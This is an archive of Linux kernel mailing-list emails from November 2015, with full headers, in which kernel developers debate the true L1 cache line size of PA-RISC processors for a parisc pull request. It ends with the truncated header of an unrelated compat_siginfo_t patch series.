> I doubt the PA-RISC L1 cacheline really is 16 bytes. 

Sadly it's nowhere clearly documented how big the L1 cacheline of parisc really is.

We are currently experimenting a lot with improving spinlocks on hppa,
that's why we play around with the L1 cache size setting.

In one of the mail threads (where I actually wanted to align the hashes
which we need to protect/simulate the atomic locks) James Bottomleys
gave a pretty good explanation of why it might be beneficial to 
modify L1_CACHE_BYTES for parisc:
 http://permalink.gmane.org/gmane.linux.ports.parisc/26040
The whole mail thread is here:
 http://thread.gmane.org/gmane.linux.ports.parisc/26000

> So this seems to
> be more of a hack around the fact that some data structures may be
> over-aligned, and using that L1_CACHE_BYTES for aligning things that
> really don't want to be that aligned. Maybe it casues less sharing,
> but if it does so at the cost of excessive memory use, it's still
> wrong.
> 
> But that in turn says to me "We should fix the *real* problem, rather
> than hack around it by having PA-RISC lie about its L1 cache size".
> 
> Is there any particular over-alignment that you have determined to be
> the real problem?

I was not very much concerned about any over-alignment, but about the
performance. Reducing L1_CACHE_BYTES gave a performance improvement
on parisc, most likely since we protect atomic accesses through our
atomic spinlocks anyway. 
 
> Also, just looking at other things, we currently do have openrisc that has
> 
>   #define L1_CACHE_BYTES 16
> 
> so presumably openrisc would have had an issue with that XPS thing,

and mn10300.

Helge

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 15:25:13 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <CA+55aFyENfhCBj4aaPRc2=82e=fjdg4wynCUCJc9Mbz1PwfCqA@mail.gmail.com>
References: <20151025114934.GA11108@ls3530.box>
	<CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
	<56393D46.6060903@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1446593125 2646 80.91.229.3 (3 Nov 2015 23:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:25:25 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 04 00:25:17 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ztkx3-0003bZ-4l
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Nov 2015 00:25:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754509AbbKCXZQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2015 18:25:16 -0500
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:34844 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754983AbbKCXZO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2015 18:25:14 -0500
Original-Received: by igpw7 with SMTP id w7so92301533igp.0;
        Tue, 03 Nov 2015 15:25:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=DdwitNvUFSvUoFq2wYxsO5QKENvdTetpOn1im/nWXhA=;
        b=vaPgQ9Tbl/YX2GGlbhANHy9d9ibdJRh5RD+GQ7uU+9C4jLTZLHmMuizrkDPQh79A2X
         b1kuCpAOz6SF9ymaM0z1EYV8ZUIRKSohCevfwQ8Bm62Lk+EcZ5ug9pAE8g3/izJY4BKL
         n13ggd/LOuY1eUtAfi8U+00dX2mpu0L4F/Qp+gdsmlv62b3T+UY1XAAKIXM+g5FQnxJA
         dTxOJtn9+PnYizrgO+enlJCxZFhpan0+ncNdzBYPEGsl/0NeoslVJ0DWeKy4jgeFjIhr
         aAY0D2aZ1iUdNMsVtP/Xdmbjy1EYgAM+GbXH6LeCtvq2YvxBNc0JR3LvG/jBvXueSdSz
         8t4A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=DdwitNvUFSvUoFq2wYxsO5QKENvdTetpOn1im/nWXhA=;
        b=b1MihxSRKEl+6bsh2DBPaJN0M+ZH/eArruX331UtYU4bAWA2JVxrpM0njdW5L3K3z7
         vmDrFLKo1EztLtmDJwwSKqjCTz3UXnhvoRauLqMnwgBxhGJO8ceF7oiHfWwTSAPp8uXt
         jdX/A/MDa5lNoGNc7qPL4nymRm4HJ3P0tlrkU=
X-Received: by 10.50.78.231 with SMTP id e7mr20007453igx.93.1446593113488;
 Tue, 03 Nov 2015 15:25:13 -0800 (PST)
Original-Received: by 10.36.124.150 with HTTP; Tue, 3 Nov 2015 15:25:13 -0800 (PST)
In-Reply-To: <56393D46.6060903@gmx.de>
X-Google-Sender-Auth: w59kOPaTC8k-kXBPIjcfawlkU0U
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26113 gmane.linux.kernel:2077523 gmane.linux.network:385848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26113>

On Tue, Nov 3, 2015 at 3:03 PM, Helge Deller <deller@gmx.de> wrote:
>
> Sadly it's nowhere clearly documented how big the L1 cacheline of parisc really is.

Wow.

Particularly that "it might actually be 16 bytes" from the thread
according to John David Anglin. I didn't expect anybody to really have
that small a line size any more.

> I was not very much concerned about any over-alignment, but about the
> performance. Reducing L1_CACHE_BYTES gave a performance improvement
> on parisc, most likely since we protect atomic accesses through our
> atomic spinlocks anyway.

Well, we do end up using L1_CACHE_BYTES to avoid false sharing in some
places, where it's not so much about atomic accesses, as just trying
to avoid having different CPU's step on each other when not needed. So
it's not necessarily about atomic accesses per se.

But if it's actually possible that the pa-risc L1 line size is really
just 16 bytes, I guess that objection to the patch goes away. My
automatic reaction was "that's not real, it's some odd workaround",
but if it is actually real...

                 Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 18:40:53 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <0F1C5469-5397-4F1A-AF17-CC7D3112A436@bell.net>
References: <20151025114934.GA11108@ls3530.box> <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com> <56393D46.6060903@gmx.de> <CA+55aFyENfhCBj4aaPRc2=82e=fjdg4wynCUCJc9Mbz1PwfCqA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1446594074 16743 80.91.229.3 (3 Nov 2015 23:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:41:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Network Development <netdev@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 04 00:41:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZtlCD-0001ar-Ky
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Nov 2015 00:40:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754091AbbKCXk4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2015 18:40:56 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:42374 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752745AbbKCXkz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2015 18:40:55 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151103234054.GFTK21937.mtlfep02.bell.net@mtlspm01.bell.net>;
          Tue, 3 Nov 2015 18:40:54 -0500
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm01.bell.net
          with ESMTP
          id <20151103234054.JMJW20298.mtlspm01.bell.net@[192.168.2.10]>;
          Tue, 3 Nov 2015 18:40:54 -0500
In-Reply-To: <CA+55aFyENfhCBj4aaPRc2=82e=fjdg4wynCUCJc9Mbz1PwfCqA@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.56394606.001B,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26114 gmane.linux.kernel:2077529 gmane.linux.network:385850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26114>

On 2015-11-03, at 6:25 PM, Linus Torvalds wrote:

> But if it's actually possible that the pa-risc L1 line size is really
> just 16 bytes, I guess that objection to the patch goes away. My
> automatic reaction was "that's not real, it's some odd workaround",
> but if it is actually real...

See page 10 in this document:
https://parisc.wiki.kernel.org/images-parisc/e/e9/PA-8700wp.pdf

It shows the PA-8700 L1 design.  James' comments and this paper are the
basis for this change.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Harris <guy@alum.mit.edu>
Newsgroups: gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 15:43:06 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <D6403D2F-339E-4986-ABED-26455A157F7A@alum.mit.edu>
References: <20151025114934.GA11108@ls3530.box> <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com> <56393D46.6060903@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2104\))
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1446594214 18757 80.91.229.3 (3 Nov 2015 23:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:43:34 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Wed Nov 04 00:43:24 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZtlEZ-0003lZ-3e
	for linux-netdev-2@plane.gmane.org; Wed, 04 Nov 2015 00:43:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965181AbbKCXnT (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 3 Nov 2015 18:43:19 -0500
Original-Received: from c.mail.sonic.net ([64.142.111.80]:38717 "EHLO c.mail.sonic.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S965135AbbKCXnS convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Tue, 3 Nov 2015 18:43:18 -0500
Original-Received: from [192.168.42.66] (173-228-4-166.dsl.dynamic.fusionbroadband.com [173.228.4.166])
	(authenticated bits=0)
	by c.mail.sonic.net (8.15.1/8.15.1) with ESMTPSA id tA3Nh7Xv026932
	(version=TLSv1 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT);
	Tue, 3 Nov 2015 15:43:07 -0800
In-Reply-To: <56393D46.6060903@gmx.de>
X-Mailer: Apple Mail (2.2104)
X-Sonic-CAuth: UmFuZG9tSVZE/r6Q5PKTR2wkYicax7quEGAES92acw3FCVw1B+n3nOyeJRscqFp3tO/eVf8HhwOefp4B0Z7q4hBnZ4s9vFPl
X-Sonic-ID: C;qk0dooSC5RGbGr0U9jFv0A== M;jHBtooSC5RGbGr0U9jFv0A==
X-Spam-Flag: No
X-Sonic-Spam-Details: 0.0/5.0 by cerberusd
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:385852 gmane.linux.kernel:2077533 gmane.linux.ports.parisc:26115
Archived-At: <http://permalink.gmane.org/gmane.linux.network/385852>


On Nov 3, 2015, at 3:03 PM, Helge Deller <deller@gmx.de> wrote:

> Sadly it's nowhere clearly documented how big the L1 cacheline of parisc really is.

To which particular PA-RISC processor are you referring?  It might not be the same on all processors.

If openpa.net is to be believed, then:

The 7100LC has 32 byte cache lines on the off-chip cache:

	http://www.openpa.net/pa-risc_processor_pa-7100lc.html

and the 8500 has "32 or 64 Byte cache line size", which may be referring to the on-chip caches:

	http://www.openpa.net/pa-risc_processor_pa-8500.html--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Harris <guy@alum.mit.edu>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 15:51:48 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <497048AC-407D-4694-A9EF-0E57D014D236@alum.mit.edu>
References: <20151025114934.GA11108@ls3530.box> <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com> <56393D46.6060903@gmx.de> <D6403D2F-339E-4986-ABED-26455A157F7A@alum.mit.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2104\))
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1446594734 26345 80.91.229.3 (3 Nov 2015 23:52:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:52:14 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Nov 04 00:52:06 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZtlN0-0003JB-3o
	for glk-linux-kernel-3@plane.gmane.org; Wed, 04 Nov 2015 00:52:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756139AbbKCXv5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Nov 2015 18:51:57 -0500
Original-Received: from d.mail.sonic.net ([64.142.111.50]:54116 "EHLO d.mail.sonic.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752748AbbKCXv4 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Nov 2015 18:51:56 -0500
X-Greylist: delayed 519 seconds by postgrey-1.27 at vger.kernel.org; Tue, 03 Nov 2015 18:51:56 EST
Original-Received: from [192.168.42.66] (173-228-4-166.dsl.dynamic.fusionbroadband.com [173.228.4.166])
	(authenticated bits=0)
	by d.mail.sonic.net (8.15.1/8.15.1) with ESMTPSA id tA3Npmvi021212
	(version=TLSv1 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT);
	Tue, 3 Nov 2015 15:51:49 -0800
In-Reply-To: <D6403D2F-339E-4986-ABED-26455A157F7A@alum.mit.edu>
X-Mailer: Apple Mail (2.2104)
X-Sonic-CAuth: UmFuZG9tSVbFbe5KJFzYLIP6n26wLt23A06mD+Slw33l4rdnJN3o6tmeTG/h9gfveQd1NaQY98sfnwjWHG27VBMAF4nPNrMv
X-Sonic-ID: C;BnDp2IWC5RG3quK7sH9FTg== M;NrE22YWC5RG3quK7sH9FTg==
X-Spam-Flag: No
X-Sonic-Spam-Details: 0.0/5.0 by cerberusd
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2077536 gmane.linux.ports.parisc:26116 gmane.linux.network:385854
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2077536>


On Nov 3, 2015, at 3:43 PM, Guy Harris <guy@alum.mit.edu> wrote:

> To which particular PA-RISC processor are you referring?  It might no=
t be the same on all processors.

Chapter 3 "Addressing and Access Control" of PA-RISC 2.0 Architecture:

	http://h21007.www2.hp.com/portal/download/files/unprot/parisc20/PA_3_a=
ddressing.pdf

says

	A consistent software view of cache operation requires that implementa=
tions never write a clean cache line back to memory. (A cache line can =
be 16, 32, or 64 bytes in length.) Clean means =E2=80=9Cnot stored into=
=E2=80=9D as opposed to =E2=80=9Cnot changed=E2=80=9D. Dirty means =E2=80=
=9Cstored into=E2=80=9D. A cache line which was stored into in such a w=
ay that it was unchanged is considered to be dirty.

so, architecturally, it can be 16, 32, or 64 bytes.

I'm not sure what

	When Linux says 'line size' it generally means the cache ownership lin=
e size: the minimum block the inter cpu coherence operates on.  Most of=
 the architectural evidence for PA systems suggests that this is 16

from the mail message cited means when it speaks of architectural evide=
nce; is that line size different from the line size in the PA-RISC 2.0 =
Architecture manual?  That line size presumably isn't the burst size:

	128 seems to be the cache burst fill size (the number of bytes that wi=
ll be pulled into the
cache by a usual operation touching any byte in the area).--
To unsubscribe from this list: send the line "unsubscribe linux-kernel"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 18:53:32 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <38881C74-60B0-40BC-83ED-052889705FC5@bell.net>
References: <20151025114934.GA11108@ls3530.box> <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com> <56393D46.6060903@gmx.de> <D6403D2F-339E-4986-ABED-26455A157F7A@alum.mit.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1446594831 27632 80.91.229.3 (3 Nov 2015 23:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:53:51 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Network Development <netdev@vger.kernel.org>
To: Guy Harris <guy@alum.mit.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 04 00:53:36 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZtlOR-0003T1-Ol
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Nov 2015 00:53:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752748AbbKCXxf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2015 18:53:35 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:45801 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752025AbbKCXxe convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2015 18:53:34 -0500
X-Greylist: delayed 758 seconds by postgrey-1.27 at vger.kernel.org; Tue, 03 Nov 2015 18:53:34 EST
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151103235333.GJDI21937.mtlfep02.bell.net@mtlspm01.bell.net>;
          Tue, 3 Nov 2015 18:53:33 -0500
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm01.bell.net
          with ESMTP
          id <20151103235333.JQUP20298.mtlspm01.bell.net@[192.168.2.10]>;
          Tue, 3 Nov 2015 18:53:33 -0500
In-Reply-To: <D6403D2F-339E-4986-ABED-26455A157F7A@alum.mit.edu>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.563948FD.0034,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26117 gmane.linux.kernel:2077537 gmane.linux.network:385855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26117>

On 2015-11-03, at 6:43 PM, Guy Harris wrote:

> 
> On Nov 3, 2015, at 3:03 PM, Helge Deller <deller@gmx.de> wrote:
> 
>> Sadly it's nowhere clearly documented how big the L1 cacheline of parisc really is.
> 
> To which particular PA-RISC processor are you referring?  It might not be the same on all processors.
> 
> If openpa.net is to be believed, then:
> 
> The 7100LC has 32 byte cache lines on the off-chip cache:
> 
> 	http://www.openpa.net/pa-risc_processor_pa-7100lc.html
> 
> and the 8500 has "32 or 64 Byte cache line size", which may be referring to the on-chip caches:
> 
> 	http://www.openpa.net/pa-risc_processor_pa-8500.html

Yes, this is correct but these numbers relate to the memory interface.  The PA8800 and PA8900 have 128 byte
memory interfaces.  These numbers are reported by firmware PDC calls.  This whole discussion started when I
suggested that we needed to bump L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 processors.

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amanieu d'Antras <amanieu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 00/20] Fix handling of compat_siginfo_t
Date: Thu,  5 Nov 2015 00:50:19 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1446684712 25200 80.91.229.3 (5 Nov 2015 00:51:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Nov 2015 00:51:52 +0000 (UTC)
Cc: Oleg Nesterov <oleg-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Amanieu d'Antras <amanieu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Nov 05 01:51:44 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Zu8mE-0000S0-DR
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 05 Nov 2015 01:51:42 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S965576AbbKEAvk (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Wed, 4 Nov 2015 19:51:40 -0500
Original-Received: from mail-wm0-f44.google.com ([74.125.82.44]:33334 "EHLO
	mail-wm0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964795AbbKEAvj (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 4 Nov 2015 19:51:39 -0500
Original-Received: by wmeg8 with SMTP id g8so1110087wme.0;
        Wed, 04 Nov 2015 16:51:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=JRkfpUfVBfZQXdOsz0BfC22Go7B7M8rixdr/F0y41o8=;
        b=HsMYZbtS6rjXd7DG1Y26j/WVhY2TxLG4NyxHEVfPb6SL1zCBOL3oJbAXz3e8bCdXNX
